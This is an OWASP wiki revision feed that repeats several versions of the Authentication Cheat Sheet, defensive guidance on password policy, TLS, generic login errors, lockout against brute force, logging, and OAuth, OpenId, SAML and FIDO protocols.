While authentication through a user/password combination and using multi-factor authentication is considered generally secure, there are use cases where it isn't considered the best option or even safe. Examples of this are third party applications that desire connecting to the web application, either from a mobile device, another website, desktop or other situations. When this happens, it is NOT considered safe to allow the third party application to store the user/password combo, since then it extends the attack surface into their hands, where it isn't in your control. For this, and other use cases, there are several authentication protocols that can protect you from exposing your users' data to attackers.&lt;br /&gt;
&lt;br /&gt;
=== OAuth ===&lt;br /&gt;
&lt;br /&gt;
Open Authorization (OAuth) is a protocol that allows an application to authenticate against a server as a user, without requiring passwords or any third party server that acts as an identity provider. It uses a token generated by the server, and provides how the authorization flows most occur, so that a client, such as a mobile application, can tell the server what user is using the service. &lt;br /&gt;
&lt;br /&gt;
The recommendation is to use and implement OAuth 1.0a or OAuth 2.0, since the very first version (OAuth1.0) has been found to be vulnerable to session fixation.&lt;br /&gt;
&lt;br /&gt;
OAuth 2.0 relies on HTTPS for security and is currently used and implemented by API's from companies such as Facebook, Google, Twitter and Microsoft. OAuth1.0a is more difficult to use because it requires the use of cryptographic libraries for digital signatures, however does not rely on HTTPS for security and can therefore be more suited for higher risk transactions.&lt;br /&gt;
&lt;br /&gt;
=== OpenId ===&lt;br /&gt;
&lt;br /&gt;
OpenId is an HTTP-based protocol that uses identity providers to validate that a user is who he says he is. It is a very simple protocol which allows a service provider initiated way for single sign-on (SSO). This allows the user to re-use a single identity given to a trusted OpenId identity provider and be the same user in multiple websites, without the need to provide any website the password, except for the OpenId identity provider.&lt;br /&gt;
&lt;br /&gt;
Due to its simplicity and that it provides protection of passwords, OpenId has been well adopted. Some of the well known identity providers for OpenId are Stack Exchange, Google, Facebook and Yahoo!&lt;br /&gt;
&lt;br /&gt;
For non-enterprise environment, OpenId is considered a secure and often better choice, as long as the identity provider is of trust.&lt;br /&gt;
&lt;br /&gt;
=== SAML ===&lt;br /&gt;
&lt;br /&gt;
Security Assertion Markup Language (SAML) is often considered to compete with OpenId. The most recommended version is 2.0, since it is very feature complete and provides a strong security. Like OpenId, SAML uses identity providers, but unlike OpenId, it is XML-based and provides more flexibility. SAML is based on browser redirects which send XML data. Furthermore, SAML isn't only initiated by a service provider; it can also be initiated from the identity provider. This allows the user to navigate through different portals while still being authenticated without having to do anything, making the process transparent.&lt;br /&gt;
&lt;br /&gt;
While OpenId has taken most of the consumer market, SAML is often the choice for enterprise applications. The reason for this is often that there are few OpenId identity providers which are considered of enterprise class (meaning that the way they validate the user identity doesn't have high standards required for enterprise identity). It is more common to see SAML being used inside of intranet websites, sometimes even using a server from the intranet as the identity provider.&lt;br /&gt;
&lt;br /&gt;
In the past few years, applications like SAP ERP and SharePoint (SharePoint by using Active Directory Federation Services 2.0) have decided to use SAML 2.0 authentication as an often preferred method for single sign-on implementations whenever enterprise federation is required for web services and web applications.&lt;br /&gt;
&lt;br /&gt;
'''See also: [[SAML Security Cheat Sheet]]'''&lt;br /&gt;
&lt;br /&gt;
=== FIDO ===&lt;br /&gt;
The Fast Identity Online (FIDO) Alliance has created two protocols to facilitate online authentication : the Universal Authentication Framework (UAF) protocol and the Universal Second Factor (U2F) protocol. While UAF focuses on passwordless authentication, U2F allows the addition of a second factor to existing password-based authentication. Both protocols are based on a public key cryptography challenge-response model. &lt;br /&gt;
&lt;br /&gt;
UAF takes advantage of existing security technologies present on devices for authentication including fingerprint sensors, cameras(face biometrics), microphones(voice biometrics), Trusted Execution Environments(TEEs), Secure Elements(SEs) and others. The protocol is designed to plug-in these device capabilities into a common authentication framework. UAF works with both native applications and web applications.&lt;br /&gt;
&lt;br /&gt;
U2F augments password-based authentication using a hardware token (typically USB) that stores cryptographic authentication keys and uses them for signing. The user can use the same token as a second factor for multiple applications. U2F works with web applications. It provides '''protection against phishing''' by using the URL of the website to lookup the stored authentication key.&lt;br /&gt;
&lt;br /&gt;
== Session Management General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
Session management is directly related to authentication. The '''Session Management General Guidelines''' previously available on this OWASP Authentication Cheat Sheet have been integrated into the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== Password Managers ==&lt;br /&gt;
&lt;br /&gt;
Password managers are programs, browser plugins or web services that automate management of large number of different credentials, including memorizing and filling-in, generating random passwords on different sites etc. The web application can help password managers by:&lt;br /&gt;
&lt;br /&gt;
* using standard HTML forms for username and password input,&lt;br /&gt;
* not disabling copy and paste on HTML form fields,&lt;br /&gt;
* allowing very long passwords,&lt;br /&gt;
* not using multi-stage login schemes (username on first screen, then password),&lt;br /&gt;
* not using highly scripted (JavaScript) authentication schemes.&lt;br /&gt;
&lt;br /&gt;
== Additional Resources ==&lt;br /&gt;
&lt;br /&gt;
A PDF of this cheatsheet has been created here. https://magic.piktochart.com/output/7003174-authentication-cheat-sheet&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Eoin Keary eoinkeary[at]owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Timo Goosen&amp;lt;br/&amp;gt;&lt;br /&gt;
Pawel Krawczyk&amp;lt;br/&amp;gt;&lt;br /&gt;
Sven Neuhaus&amp;lt;br/&amp;gt;&lt;br /&gt;
Manuel Aude Morales &lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210316</id>
		<title>Authentication Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210316"/>
				<updated>2016-03-02T21:10:58Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Use of authentication protocols that require no password */ - change subject to match verb conjugation in the phrase 'An example of this are third party...'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;English&amp;lt;/b&amp;gt; | [[Authentication_Cheat_Sheet_Español | Spanish]]&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
'''Authentication''' is the process of verification that an individual, entity  or website is who it claims to be. Authentication in the context of web applications is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
'''Session Management''' is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
== Authentication General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
=== User IDs ===&lt;br /&gt;
&lt;br /&gt;
Make sure your usernames/userids are case insensitive. User 'smith' and user 'Smith' should be the same user. User names should also be unique. For high security applications usernames could be assigned and secret instead of user-defined public data.&lt;br /&gt;
&lt;br /&gt;
==== Email address as a User ID ====&lt;br /&gt;
&lt;br /&gt;
For information on validating email addresses, please visit the [https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet#Email_Address_Validation input validation cheatsheet email discussion].&lt;br /&gt;
&lt;br /&gt;
=== Implement Proper Password Strength Controls ===&lt;br /&gt;
&lt;br /&gt;
A key concern when using passwords for authentication is password strength. A &amp;quot;strong&amp;quot; password policy makes it difficult or even improbable for one to guess the password through either manual or automated means. The following characteristics define a strong password: &lt;br /&gt;
&lt;br /&gt;
==== Warning ====&lt;br /&gt;
&lt;br /&gt;
The following advice is disputed. Please view the OWASP presentation,  &amp;quot;[https://www.youtube.com/watch?v=zUM7i8fsf0g Your Password Complexity Requirements are Worthless - OWASP AppSecUSA 2014]&amp;quot; for more information.&lt;br /&gt;
&lt;br /&gt;
==== Password Length ====&lt;br /&gt;
&lt;br /&gt;
Longer passwords provide a greater combination of characters and consequently make it more difficult for an attacker to guess. &lt;br /&gt;
&lt;br /&gt;
* '''Minimum''' length of the passwords should be '''enforced''' by the application.&lt;br /&gt;
** Passwords '''shorter than 10 characters''' are considered to be weak ([http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf]).&lt;br /&gt;
&lt;br /&gt;
While minimum length enforcement may cause problems with memorizing passwords among some users, applications should encourage them to set ''passphrases'' (sentences or combination of words) that can be much longer than typical passwords and yet much easier to remember.&lt;br /&gt;
&lt;br /&gt;
* '''Maximum''' password length should not be set '''too low''', as it will prevent users from creating passphrases. Typical maximum length is 128 characters.&lt;br /&gt;
** Passphrases shorter than 20 characters are usually considered weak if they only consist of lower case Latin characters.&lt;br /&gt;
&lt;br /&gt;
==== Password Complexity ====&lt;br /&gt;
&lt;br /&gt;
Applications should enforce password complexity rules to discourage easy to guess passwords. Password mechanisms should allow virtually any character the user can type to be part of their password, including the space character. Passwords should, obviously, be case sensitive in order to increase their complexity. Occasionally, we find systems where passwords aren't case sensitive, frequently due to legacy system issues like old mainframes that didn't have case sensitive passwords.&lt;br /&gt;
&lt;br /&gt;
The password change mechanism should require a minimum level of complexity that makes sense for the application and its user population. For example:&lt;br /&gt;
&lt;br /&gt;
*Password must meet at least 3 out of the following 4 complexity rules&lt;br /&gt;
**at least 1 uppercase character (A-Z) &lt;br /&gt;
**at least 1 lowercase character (a-z) &lt;br /&gt;
**at least 1 digit (0-9) &lt;br /&gt;
**at least 1 [[Password special characters|special character (punctuation)]] &amp;amp;mdash; do not forget to treat space as special characters too&lt;br /&gt;
*at least 10 characters &lt;br /&gt;
*at most 128 characters&lt;br /&gt;
*not more than 2 identical characters in a row (e.g., 111 not allowed)&lt;br /&gt;
&lt;br /&gt;
==== Password Topologies ====&lt;br /&gt;
&lt;br /&gt;
* Ban commonly used password topologies&lt;br /&gt;
* Force multiple users to use different password topologies&lt;br /&gt;
* Require a minimum topology change between old and new passwords&lt;br /&gt;
&lt;br /&gt;
==== Additional Information ====&lt;br /&gt;
&lt;br /&gt;
* Make sure that every character the user types in is actually included in the password. We've seen systems that truncate the password at a length shorter than what the user provided (e.g., truncated at 15 characters when they entered 20).&lt;br /&gt;
* As application's require more complex password policies, they need to be very clear about what these policies are. The required policy needs to be explicitly stated on the password change page&lt;br /&gt;
* If the new password doesn't comply with the complexity policy, the error message should describe EVERY complexity rule that the new password does not comply with, not just the 1st rule it doesn't comply with.&lt;br /&gt;
&lt;br /&gt;
=== Implement Secure Password Recovery Mechanism ===&lt;br /&gt;
&lt;br /&gt;
It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Please see [[Forgot Password Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Store Passwords in a Secure Fashion ===&lt;br /&gt;
&lt;br /&gt;
It is critical for a application to store a password using the right cryptographic technique. Please see [[Password Storage Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Transmit Passwords Only Over TLS or Other Strong Transport ===&lt;br /&gt;
&lt;br /&gt;
See: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
The login page and all subsequent authenticated pages must be exclusively accessed over TLS or other strong transport. The initial login page, referred to as the &amp;quot;login landing page&amp;quot;, must be served over TLS or other strong transport. Failure to utilize TLS or other strong transport for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location. Failure to utilize TLS or other strong transport for authenticated pages after login enables an attacker to view the unencrypted session ID and compromise the user's authenticated session.&lt;br /&gt;
&lt;br /&gt;
=== Require Re-authentication for Sensitive Features ===&lt;br /&gt;
&lt;br /&gt;
In order to mitigate CSRF and session hijacking, it's important to require the current credentials for an account before updating sensitive account information such as the user's password, user's email, or before sensitive transactions, such as shipping a purchase to a new address.  Without this countermeasure, an attacker may be able to execute sensitive transactions through a CSRF or XSS attack without needing to know the user's current credentials.  Additionally, an attacker may get temporary physical access to a user's browser or steal their session ID to take over the user's session.&lt;br /&gt;
&lt;br /&gt;
=== Consider Strong Transaction Authentication ===&lt;br /&gt;
&lt;br /&gt;
Some applications should use a second factor to check whether a user may perform sensitive operations. For more information see the [https://www.owasp.org/index.php/Transaction_Authorization_Cheat_Sheet Transaction Authorization Cheat Sheet].&lt;br /&gt;
&lt;br /&gt;
==== TLS Client Authentication ====&lt;br /&gt;
&lt;br /&gt;
TLS Client Authentication, also known as two-way TLS authentication, consists of both, browser and server, sending their respective TLS certificates during the TLS handshake process. Just as you can validate the authenticity of a server by using the certificate and asking a well known Certificate Authority (CA) if the certificate is valid, the server can authenticate the user by receiving a certificate from the client and validating against a third party CA or its own CA. To do this, the server must provide the user with a certificate generated specifically for him, assigning values to the subject so that these can be used to determine what user the certificate should validate. The user installs the certificate on a browser and now uses it for the website.&lt;br /&gt;
&lt;br /&gt;
It is a good idea to do this when:&lt;br /&gt;
&lt;br /&gt;
*It is acceptable (or even preferred) that the user only has access to the website from only a single computer/browser.&lt;br /&gt;
*The user is not easily scared by the process of installing TLS certificates on his browser or there will be someone, probably from IT support, that will do this for the user.&lt;br /&gt;
*The website requires an extra step of security.&lt;br /&gt;
*It is also a good thing to use when the website is for an intranet of a company or organization.&lt;br /&gt;
&lt;br /&gt;
It is generally not a good idea to use this method for widely and publicly available websites that will have an average user. For example, it wouldn't be a good idea to implement this for a website like Facebook. While this technique can prevent the user from having to type a password (thus protecting against an average keylogger from stealing it), it is still considered a good idea to consider using both a password and TLS client authentication combined.&lt;br /&gt;
&lt;br /&gt;
For more information, see: [https://en.wikipedia.org/wiki/Transport_Layer_Security#Client-authenticated_TLS_handshake Client-authenticated TLS handshake]&lt;br /&gt;
&lt;br /&gt;
=== Authentication and Error Messages ===&lt;br /&gt;
&lt;br /&gt;
Incorrectly implemented error messages in the case of authentication functionality can be used for the purposes of user ID and password enumeration. An application should respond (both HTTP and HTML) in a generic manner.&lt;br /&gt;
&lt;br /&gt;
===== Authentication Responses =====&lt;br /&gt;
&lt;br /&gt;
An application should respond with a generic error message regardless of whether the user ID or password was incorrect. It should also give no indication to the status of an existing account.&lt;br /&gt;
&lt;br /&gt;
===== Incorrect Response Examples =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login for User foo: invalid password&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed, invalid user ID&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; account disabled&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; this user is not active&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===== Correct Response Example =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login failed; Invalid userID or password&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The correct response does not indicate if the user ID or password is the incorrect parameter and hence inferring a valid user ID. &lt;br /&gt;
&lt;br /&gt;
===== Error Codes and URLs =====&lt;br /&gt;
&lt;br /&gt;
The application may return a different HTTP Error code depending on the authentication attempt response. It may respond with a 200 for a positive result and a 403 for a negative result. Even though a generic error page is shown to a user, the HTTP response code may differ which can leak information about whether the account is valid or not.&lt;br /&gt;
&lt;br /&gt;
=== Prevent Brute-Force Attacks ===&lt;br /&gt;
&lt;br /&gt;
If an attacker is able to guess passwords without the account becoming disabled due to failed authentication attempts, the attacker has an opportunity to continue with a brute force attack until the account is compromised.  Automating brute-force/password guessing attacks on web applications is a trivial challenge. Password lockout mechanisms should be employed that lock out an account if more than a preset number of unsuccessful login attempts are made.  Password lockout mechanisms have a logical weakness. An attacker that undertakes a large number of authentication attempts on known account names can produce a result that locks out entire blocks of user accounts.  Given that the intent of a password lockout system is to protect from brute-force attacks, a sensible strategy is to lockout accounts for a period of time (e.g., 20 minutes). This significantly slows down attackers, while allowing the accounts to reopen automatically for legitimate users.&lt;br /&gt;
&lt;br /&gt;
Also, multi-factor authentication is a very powerful deterrent when trying to prevent brute force attacks since the credentials are a moving target. When multi-factor is implemented and active, account lockout may no longer be necessary.&lt;br /&gt;
&lt;br /&gt;
== Logging and Monitoring == &lt;br /&gt;
Enable logging and monitoring of authentication functions to detect attacks / failures on a real time basis&lt;br /&gt;
&lt;br /&gt;
*Ensure that all failures are logged and reviewed&lt;br /&gt;
*Ensure that all password failures are logged and reviewed&lt;br /&gt;
*Ensure that all account lockouts are logged and reviewed&lt;br /&gt;
&lt;br /&gt;
== Use of authentication protocols that require no password ==&lt;br /&gt;
&lt;br /&gt;
While authentication through a user/password combination and using multi-factor authentication is considered generally secure, there are use cases where it isn't considered the best option or even safe. Examples of this are third party applications that desire connecting to the web application, either from a mobile device, another website, desktop or other situations. When this happens, it is NOT considered safe to allow the third party application to store the user/password combo, since then it extends the attack surface into their hands, where it isn't in your control. For this, and other use cases, there are several authentication protocols that can protect you from exposing your users' data to attackers.&lt;br /&gt;
&lt;br /&gt;
=== OAuth ===&lt;br /&gt;
&lt;br /&gt;
Open Authorization (OAuth) is a protocol that allows an application to authenticate against a server as a user, without requiring passwords or any third party server that acts as an identity provider. It uses a token generated by the server, and provides how the authorization flows most occur, so that a client, such as a mobile application, can tell the server what user is using the service. &lt;br /&gt;
&lt;br /&gt;
The recommendation is to use and implement OAuth 1.0a or OAuth 2.0, since the very first version (OAuth1.0) has been found to be vulnerable to session fixation.&lt;br /&gt;
&lt;br /&gt;
OAuth 2.0 relies on HTTPS for security and is currently used and implemented by API's from companies such as Facebook, Google, Twitter and Microsoft. OAuth1.0a is more difficult to use because it requires the use of cryptographic libraries for digital signatures, however does not rely on HTTPS for security and can therefore be more suited for higher risk transactions.&lt;br /&gt;
&lt;br /&gt;
=== OpenId ===&lt;br /&gt;
&lt;br /&gt;
OpenId is an HTTP-based protocol that uses identity providers to validate that a user is who he says he is. It is a very simple protocol which allows a service provider initiated way for single sign-on (SSO). This allows the user to re-use a single identity given to a trusted OpenId identity provider and be the same user in multiple websites, without the need to provide any website the password, except for the OpenId identity provider.&lt;br /&gt;
&lt;br /&gt;
Due to its simplicity and that it provides protection of passwords, OpenId has been well adopted. Some of the well known identity providers for OpenId are Stack Exchange, Google, Facebook and Yahoo!&lt;br /&gt;
&lt;br /&gt;
For non-enterprise environment, OpenId is considered a secure and often better choice, as long as the identity provider is of trust.&lt;br /&gt;
&lt;br /&gt;
=== SAML ===&lt;br /&gt;
&lt;br /&gt;
Security Assertion Markup Language (SAML) is often considered to compete with OpenId. The most recommended version is 2.0, since it is very feature complete and provides a strong security. Like with OpenId, SAML uses identity providers, but unlike it, it is XML-based and provides more flexibility. SAML is based on browser redirects which send XML data. Unlike SAML, it isn't only initiated by a service provider, but it can also be initiated from the identity provider. This allows the user to navigate through different portals while still being authenticated without having to do anything, making the process transparent.&lt;br /&gt;
&lt;br /&gt;
While OpenId has taken most of the consumer market, SAML is often the choice for enterprise applications. The reason for this is often that there are few OpenId identity providers which are considered of enterprise class (meaning that the way they validate the user identity doesn't have high standards required for enterprise identity). It is more common to see SAML being used inside of intranet websites, sometimes even using a server from the intranet as the identity provider.&lt;br /&gt;
&lt;br /&gt;
In the past few years, applications like SAP ERP and SharePoint (SharePoint by using Active Directory Federation Services 2.0) have decided to use SAML 2.0 authentication as an often preferred method for single sign-on implementations whenever enterprise federation is required for web services and web applications.&lt;br /&gt;
&lt;br /&gt;
'''See also: [[SAML Security Cheat Sheet]]'''&lt;br /&gt;
&lt;br /&gt;
=== FIDO ===&lt;br /&gt;
The Fast Identity Online (FIDO) Alliance has created two protocols to facilitate online authentication : the Universal Authentication Framework (UAF) protocol and the Universal Second Factor (U2F) protocol. While UAF focuses on passwordless authentication, U2F allows the addition of a second factor to existing password-based authentication. Both protocols are based on a public key cryptography challenge-response model. &lt;br /&gt;
&lt;br /&gt;
UAF takes advantage of existing security technologies present on devices for authentication including fingerprint sensors, cameras(face biometrics), microphones(voice biometrics), Trusted Execution Environments(TEEs), Secure Elements(SEs) and others. The protocol is designed to plug-in these device capabilities into a common authentication framework. UAF works with both native applications and web applications.&lt;br /&gt;
&lt;br /&gt;
U2F augments password-based authentication using a hardware token (typically USB) that stores cryptographic authentication keys and uses them for signing. The user can use the same token as a second factor for multiple applications. U2F works with web applications. It provides '''protection against phishing''' by using the URL of the website to lookup the stored authentication key.&lt;br /&gt;
&lt;br /&gt;
== Session Management General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
Session management is directly related to authentication. The '''Session Management General Guidelines''' previously available on this OWASP Authentication Cheat Sheet have been integrated into the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== Password Managers ==&lt;br /&gt;
&lt;br /&gt;
Password managers are programs, browser plugins or web services that automate management of large number of different credentials, including memorizing and filling-in, generating random passwords on different sites etc. The web application can help password managers by:&lt;br /&gt;
&lt;br /&gt;
* using standard HTML forms for username and password input,&lt;br /&gt;
* not disabling copy and paste on HTML form fields,&lt;br /&gt;
* allowing very long passwords,&lt;br /&gt;
* not using multi-stage login schemes (username on first screen, then password),&lt;br /&gt;
* not using highly scripted (JavaScript) authentication schemes.&lt;br /&gt;
&lt;br /&gt;
== Additional Resources ==&lt;br /&gt;
&lt;br /&gt;
A PDF of this cheatsheet has been created here. https://magic.piktochart.com/output/7003174-authentication-cheat-sheet&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Eoin Keary eoinkeary[at]owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Timo Goosen&amp;lt;br/&amp;gt;&lt;br /&gt;
Pawel Krawczyk&amp;lt;br/&amp;gt;&lt;br /&gt;
Sven Neuhaus&amp;lt;br/&amp;gt;&lt;br /&gt;
Manuel Aude Morales &lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210315</id>
		<title>Authentication Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210315"/>
				<updated>2016-03-02T21:07:30Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Transmit Passwords Only Over TLS or Other Strong Transport */ - remove superfluous 'the' in '...for authenticated pages after the login enables an attacker...'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;English&amp;lt;/b&amp;gt; | [[Authentication_Cheat_Sheet_Español | Spanish]]&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
'''Authentication''' is the process of verification that an individual, entity  or website is who it claims to be. Authentication in the context of web applications is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
'''Session Management''' is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
== Authentication General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
=== User IDs ===&lt;br /&gt;
&lt;br /&gt;
Make sure your usernames/userids are case insensitive. User 'smith' and user 'Smith' should be the same user. User names should also be unique. For high security applications usernames could be assigned and secret instead of user-defined public data.&lt;br /&gt;
&lt;br /&gt;
==== Email address as a User ID ====&lt;br /&gt;
&lt;br /&gt;
For information on validating email addresses, please visit the [https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet#Email_Address_Validation input validation cheatsheet email discussion].&lt;br /&gt;
&lt;br /&gt;
=== Implement Proper Password Strength Controls ===&lt;br /&gt;
&lt;br /&gt;
A key concern when using passwords for authentication is password strength. A &amp;quot;strong&amp;quot; password policy makes it difficult or even improbable for one to guess the password through either manual or automated means. The following characteristics define a strong password: &lt;br /&gt;
&lt;br /&gt;
==== Warning ====&lt;br /&gt;
&lt;br /&gt;
The following advice is disputed. Please view the OWASP presentation,  &amp;quot;[https://www.youtube.com/watch?v=zUM7i8fsf0g Your Password Complexity Requirements are Worthless - OWASP AppSecUSA 2014]&amp;quot; for more information.&lt;br /&gt;
&lt;br /&gt;
==== Password Length ====&lt;br /&gt;
&lt;br /&gt;
Longer passwords provide a greater combination of characters and consequently make it more difficult for an attacker to guess. &lt;br /&gt;
&lt;br /&gt;
* '''Minimum''' length of the passwords should be '''enforced''' by the application.&lt;br /&gt;
** Passwords '''shorter than 10 characters''' are considered to be weak ([http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf]).&lt;br /&gt;
&lt;br /&gt;
While minimum length enforcement may cause problems with memorizing passwords among some users, applications should encourage them to set ''passphrases'' (sentences or combination of words) that can be much longer than typical passwords and yet much easier to remember.&lt;br /&gt;
&lt;br /&gt;
* '''Maximum''' password length should not be set '''too low''', as it will prevent users from creating passphrases. Typical maximum length is 128 characters.&lt;br /&gt;
** Passphrases shorter than 20 characters are usually considered weak if they only consist of lower case Latin characters.&lt;br /&gt;
&lt;br /&gt;
==== Password Complexity ====&lt;br /&gt;
&lt;br /&gt;
Applications should enforce password complexity rules to discourage easy to guess passwords. Password mechanisms should allow virtually any character the user can type to be part of their password, including the space character. Passwords should, obviously, be case sensitive in order to increase their complexity. Occasionally, we find systems where passwords aren't case sensitive, frequently due to legacy system issues like old mainframes that didn't have case sensitive passwords.&lt;br /&gt;
&lt;br /&gt;
The password change mechanism should require a minimum level of complexity that makes sense for the application and its user population. For example:&lt;br /&gt;
&lt;br /&gt;
*Password must meet at least 3 out of the following 4 complexity rules&lt;br /&gt;
**at least 1 uppercase character (A-Z) &lt;br /&gt;
**at least 1 lowercase character (a-z) &lt;br /&gt;
**at least 1 digit (0-9) &lt;br /&gt;
**at least 1 [[Password special characters|special character (punctuation)]] &amp;amp;mdash; do not forget to treat space as special characters too&lt;br /&gt;
*at least 10 characters &lt;br /&gt;
*at most 128 characters&lt;br /&gt;
*not more than 2 identical characters in a row (e.g., 111 not allowed)&lt;br /&gt;
&lt;br /&gt;
==== Password Topologies ====&lt;br /&gt;
&lt;br /&gt;
* Ban commonly used password topologies&lt;br /&gt;
* Force multiple users to use different password topologies&lt;br /&gt;
* Require a minimum topology change between old and new passwords&lt;br /&gt;
&lt;br /&gt;
==== Additional Information ====&lt;br /&gt;
&lt;br /&gt;
* Make sure that every character the user types in is actually included in the password. We've seen systems that truncate the password at a length shorter than what the user provided (e.g., truncated at 15 characters when they entered 20).&lt;br /&gt;
* As application's require more complex password policies, they need to be very clear about what these policies are. The required policy needs to be explicitly stated on the password change page&lt;br /&gt;
* If the new password doesn't comply with the complexity policy, the error message should describe EVERY complexity rule that the new password does not comply with, not just the 1st rule it doesn't comply with.&lt;br /&gt;
&lt;br /&gt;
=== Implement Secure Password Recovery Mechanism ===&lt;br /&gt;
&lt;br /&gt;
It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Please see [[Forgot Password Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Store Passwords in a Secure Fashion ===&lt;br /&gt;
&lt;br /&gt;
It is critical for a application to store a password using the right cryptographic technique. Please see [[Password Storage Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Transmit Passwords Only Over TLS or Other Strong Transport ===&lt;br /&gt;
&lt;br /&gt;
See: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
The login page and all subsequent authenticated pages must be exclusively accessed over TLS or other strong transport. The initial login page, referred to as the &amp;quot;login landing page&amp;quot;, must be served over TLS or other strong transport. Failure to utilize TLS or other strong transport for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location. Failure to utilize TLS or other strong transport for authenticated pages after login enables an attacker to view the unencrypted session ID and compromise the user's authenticated session.&lt;br /&gt;
&lt;br /&gt;
=== Require Re-authentication for Sensitive Features ===&lt;br /&gt;
&lt;br /&gt;
